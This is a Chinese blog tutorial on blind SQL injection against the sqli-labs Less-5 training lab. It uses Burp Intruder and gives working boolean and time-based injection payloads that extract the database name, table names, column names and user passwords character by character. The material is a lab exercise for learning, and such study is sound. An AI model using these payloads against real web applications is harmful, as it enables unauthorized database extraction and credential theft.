SQL注入-盲注 Burp盲注方法

什么是盲注?

有时目标存在注入,但在页面上没有如何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注。

盲注种类:

盲注函数解析

length()函数:返回字符串的长度
?id=1 and length(database()) > 1

substr()函数:截取字符串,从第一位截取一个
?id=1 and substr(database(),1,1) = 'a'
substr(1,2,3)
第一个参数代表是我们截取的字符串
第二个参数代表截取的位数
第三个参数代表的是截取个数

limit 0,1
0代表第一位
1代表个数

时间型盲注
sleep() 将程序挂起一段时间n为n秒

if(expr1,expr2,expr3)判断语句 如果第一个语句正确就执行,第二个语句错误就执行第三个语句
?id=1' and if(length(database())=8,10,sleep(5)) --+

ascii()、ord():返回字段的ascll码值

**靶场sqli-labs - Less 5

判断库名位数

由length()函数判断可知,库名位数为8

?id=1' and length(database())=8 --+

Burp 抓取数据包

发送GET请求抓取数据包并发送到 intruder 模块

http://192.168.174.128:8081/Less-5/?id=1' and ascii(mid(database(),1,1)) = 97 --+

设置payload位置

‘1’ 代表的是截取的位数,'97’代表 ASCII 码表 总数为127,攻击类型设置:ClusterBomb

设置payload 1

payload set 设置为 ‘1’ ,payload type 设置为数值(number),payload选项设置 from 1 to 8. 间隔为1

设置payload 2

payload set 设置为 ‘1’ ,payload type 设置为数值(number),payload选项设置 from 1 to 126. 间隔为1,因为ASCII码数量总数为127

点击开始攻击

发现存在8位数,ASCII码分别对应:‘115’ ‘101’ ‘99’ ‘117’ ‘114’ ‘105’ ‘116’ ‘121’ 解码分析分别对应:‘s’ ‘e’ ‘c’ ‘u’ ‘r’ ‘i’ ‘t’ ‘y’ ,所以得到了库名为:“securtiy”

判断库名下表名的位数

由length()函数判断可知,表名位数为6

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+

Burp 抓取数据包

发送GET请求抓取数据包并发送到 intruder 模块

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=1 --+

点击开始攻击

发现存在6位数,ASCII码分别对应:‘101’ ‘109’ ‘97’ ‘105’ ‘108’ ‘115’ 解码分析分别对应:‘e’ ‘m’ ‘a’ ‘i’ ‘l’ ‘s’ ,所以得到了表名为:“emails”

判断库名下第二张表名

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=x --+
?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=x --+

判断表名下的字段名

?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=x --+
?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=x --+

判断表中具体数据

?id=1' and length((select password from users limit 0,1))>1 --+
?id=1' and ascii(mid((select password from users limit 0,1),1,1))=68 --+
当使用Burp Suite进行SQL注入漏洞测试时,布尔盲注是一种常用的技术之一。布尔盲注是一种盲注攻击技术,它通过在SQL查询中使用布尔逻辑来确定数据库中的信息。以下是一些步骤来测试布尔盲注漏洞: 1. 配置Burp Suite:首先,确保已正确配置Burp Suite以拦截和修改HTTP请求和响应。您可以在Burp Suite的Proxy选项卡下设置代理,并根据需要配置浏览器或应用程序以使用该代理。 2. 找到注入点:使用Burp Suite的Spider或Repeater工具来找到潜在的注入点。这可以是URL参数、表单字段或Cookie值等。 3. 构造注入语句:使用布尔盲注技术,构造适当的注入语句来测试漏洞。例如,您可以尝试通过在WHERE子句中使用布尔逻辑来判断条件是否为真或假来确定数据库中的信息。 4. 检测响应差异:发送经过注入处理的请求,并观察响应是否有所不同。如果响应正常,可能意味着注入失败;如果响应出现错误或有其他差异,可能意味着注入成功。 5. 使用布尔逻辑验证条件:根据不同的响应,使用布尔逻辑来验证条件是否为真或假。例如,您可以通过在注入语句中使用AND或OR运算符来检查条件。 6. 执行进一步的测试:根据验证的结果,您可以进一步探测和利用漏洞。使用Burp Suite的其他工具和插件来自动化和加快测试过程。 请注意,在进行任何安全测试之前,确保您已获得适当的授权,并仅在合法范围内进行测试。此外,始终遵循道德黑客和安全测试的最佳实践。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

渗透测试小白

如果您觉得满意,一分一毛也是爱

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值